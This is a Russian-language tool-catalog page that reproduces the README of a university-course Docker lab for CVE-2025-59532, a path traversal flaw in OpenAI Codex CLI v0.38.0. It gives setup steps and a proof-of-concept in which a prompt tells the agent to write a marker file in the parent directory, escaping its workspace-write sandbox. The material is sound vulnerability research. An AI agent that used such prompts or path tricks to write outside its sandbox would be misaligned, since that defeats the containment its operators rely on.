Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/baktistr/cve-2025-59532-poc
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

GitHub
baktistr/cve-2025-59532-poc

cve-2025-59532-poc

Репозиторий
17 месяцев назадЕщё не проверено

Исследовательская среда на базе Docker для анализа CVE-2025-59532 — уязвимости обхода пути (path traversal) в OpenAI Codex CLI, которая позволяет произвольную запись файлов за пределами предполагаемой песочницы рабочей области. Часть курса CMU: 18-739 Hacking & Offensive Security, осень 2025 года.

Поделиться

Docker-среда для CVE-2025-59532

Docker-среда для исследования и анализа CVE-2025-59532 — уязвимости обхода каталога (path traversal) в OpenAI Codex CLI, которая позволяет записывать произвольные файлы за пределами предназначенной песочницы рабочего каталога. Часть курса CMU: 18-739 Hacking & Offensive Security, осень 2025

Начало работы

Клонирование репозитория

Сначала клонируйте репозиторий:

root@kitploit:~
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration

Или через SSH:

root@kitploit:~
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration

Описание CVE

CVE-2025-59532 — это уязвимость обхода каталога в инструменте Codex CLI от OpenAI, которая позволяет злоумышленникам записывать файлы за пределы предназначенного рабочего каталога, обходя ограничения песочницы.

Детали уязвимости

  • CVE ID: CVE-2025-59532
  • Затронутая версия: Codex CLI v0.38.0 и более ранние
  • Тип уязвимости: Произвольная запись файлов / обход каталога
  • Серьёзность: Высокая
  • Вектор атаки: Злоумышленник может создать подсказки (prompts), которые заставят Codex записывать файлы в родительские каталоги (например, ../exploit.txt), выходя за пределы песочницы рабочего каталога, даже если включён режим --sandbox workspace-write.
  • Влияние: Несанкционированное создание файлов в системных каталогах, потенциальное повышение привилегий и нарушение границ безопасности контейнера.
  • Патч: Исправлено в v0.39.0 с улучшенной проверкой и очисткой путей (sanitization)

Как это работает

Уязвимость связана с недостаточной проверкой путей в реализации песочницы рабочего каталога. Когда включён режим песочницы workspace-write, Codex должен ограничивать файловые операции заданным рабочим каталогом. Однако в v0.38.0 проверка путей не обрабатывает корректно последовательности относительного обхода каталога (../), что позволяет злоумышленнику записывать файлы за пределами песочницы, указывая ИИ использовать ссылки на родительские каталоги.

Предварительные требования

  • Docker, установленный в вашей системе
  • OpenAI API-ключ (получить можно на https://platform.openai.com/api-keys)
  • Базовое понимание Docker и работы с командной строкой
  • Git (для клонирования репозитория)

Сборка и запуск

Соберите Docker-образ:

root@kitploit:~
docker build -t cve-2025-59532:latest .

Запустите контейнер:

root@kitploit:~
docker run -it --rm cve-2025-59532:latest

Использование

Данная Docker-среда включает три версии Codex CLI:

  • codex38 — v0.38.0 (уязвимая версия)
  • codex39 — v0.39.0 (исправленная версия)
  • codex50 — v0.50.0 (последняя версия)

Настройка OpenAI API-ключа

Внутри контейнера настройте ваш OpenAI API-ключ: просто запустите codex в интерактивном режиме и вставьте туда API-ключ:

root@kitploit:~
codex

API-ключ будет сохранён в ~/.config/codex/auth.json и будет использоваться всеми версиями Codex (codex38, codex39, codex50).

Проверка версий

root@kitploit:~
codex38 --version  # Should show v0.38.0 (vulnerable)
codex39 --version  # Should show v0.39.0 (patched)
codex50 --version  # Should show v0.50.0 (latest)

Проверка уязвимости

Примечание: Рабочий каталог находится в /workspace/child. Уязвимость позволяет запись в /workspace (родительский каталог).

Проверка уязвимой версии (v0.38.0):

root@kitploit:~
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"

Проверка исправленной версии (v0.39.0):

root@kitploit:~
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"

Проверка последней версии (v0.50.0):

root@kitploit:~
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"

Проверка эксплуатации:

root@kitploit:~
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt  # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt  # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt  # Should NOT exist if v0.50.0 is secure

# Check current workspace (should be empty or contain only test files)
pwd  # Should show /workspace/child
ls -la /workspace/child/

Проверка журналов

Чтобы увидеть подробные отладочные журналы выполнения Codex:

root@kitploit:~
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"

Отладочные журналы покажут:

  • API-запросы и ответы
  • Попытки проверки путей
  • Детали файловых операций
  • Поведение песочницы: применение ограничений (или их обход)
Скачать инструмент